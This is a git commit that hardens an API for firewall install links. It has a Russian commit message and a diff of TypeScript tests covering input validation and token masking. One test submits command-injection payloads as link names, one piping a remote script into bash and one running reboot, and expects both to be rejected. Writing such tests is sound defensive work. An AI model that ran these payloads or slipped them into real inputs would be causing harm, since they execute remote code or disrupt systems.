fix(api): fail-safe прод-старт, транзакции и санитизация install-скриптов
- прод-режим отказывается стартовать без AUTH_REQUIRED и реальных секретов (opt-out через EVOFW_ALLOW_UNSAFE) - CORS: whitelist через CORS_ORIGINS вместо origin:true; CSP для раздаваемого SPA - транзакции для setAgentPolicySets, reorderPolicyRules, replaceResolvedForRule, replaceIpListEntries - install-скрипты: Zod-валидация имени ссылки, экранирование $ и контрольных символов в RouterOS-рендере - constant-time сравнение enroll-seed - опциональное шифрование токена EvoBGP в БД (EVOFW_SECRET_KEY, AES-256-GCM) и маскирование per-list api_token в ответах - graceful shutdown (SIGTERM/SIGINT) + тесты
This commit is contained in:
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
describe('install-links', () => {
|
||||
@@ -112,6 +114,55 @@ describe('install-links', () => {
|
||||
expect(row?.status).toBe('pending')
|
||||
})
|
||||
|
||||
it('rejects install link names with unsafe characters', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const bad = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
|
||||
})
|
||||
expect(bad.statusCode).toBe(400)
|
||||
|
||||
const quotes = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: "name'$(reboot)", platform: 'linux' },
|
||||
})
|
||||
expect(quotes.statusCode).toBe(400)
|
||||
})
|
||||
|
||||
it('masks per-list api_token in list responses', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: {
|
||||
name: 'evobgp-masked',
|
||||
type: 'evobgp_community',
|
||||
config: {
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: '',
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(created.statusCode).toBe(200)
|
||||
const body = created.json() as { config_json: string }
|
||||
expect(body.config_json).not.toContain('super-secret-token')
|
||||
expect(body.config_json).toContain('********')
|
||||
|
||||
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
|
||||
const items = (lists.json() as { items: { config_json: string }[] }).items
|
||||
expect(
|
||||
items.some((l) => l.config_json.includes('super-secret-token')),
|
||||
).toBe(false)
|
||||
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
|
||||
})
|
||||
|
||||
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
Reference in New Issue
Block a user